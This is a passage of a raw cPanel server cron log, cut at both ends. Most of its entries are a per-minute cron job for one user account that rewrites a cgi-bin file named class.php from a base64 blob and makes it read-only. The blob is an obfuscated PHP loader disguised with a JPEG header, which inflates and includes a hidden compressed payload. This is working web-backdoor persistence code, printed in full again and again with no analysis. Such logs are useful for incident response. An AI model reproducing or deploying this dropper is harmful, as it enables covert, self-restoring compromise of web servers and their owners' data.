ouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:17:01 server CROND[29730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:18:01 server CROND[29853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:19:01 server CROND[29936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:20:01 server CROND[30014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 09:20:01 server CROND[30015]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 09:20:01 server CROND[30018]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 09:20:01 server CROND[30017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:20:01 server CROND[30019]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 09:21:01 server CROND[30256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:22:01 server CROND[30328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:23:01 server CROND[30404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:24:01 server CROND[30471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:25:01 server CROND[30545]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 09:25:01 server CROND[30546]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 09:25:01 server CROND[30547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:26:01 server CROND[30768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:27:01 server CROND[30839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:27:01 server CROND[30840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 09:28:01 server CROND[30912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:29:01 server CROND[30982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:30:01 server CROND[31056]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 09:30:01 server CROND[31057]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 09:30:01 server CROND[31058]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 09:30:01 server CROND[31059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCR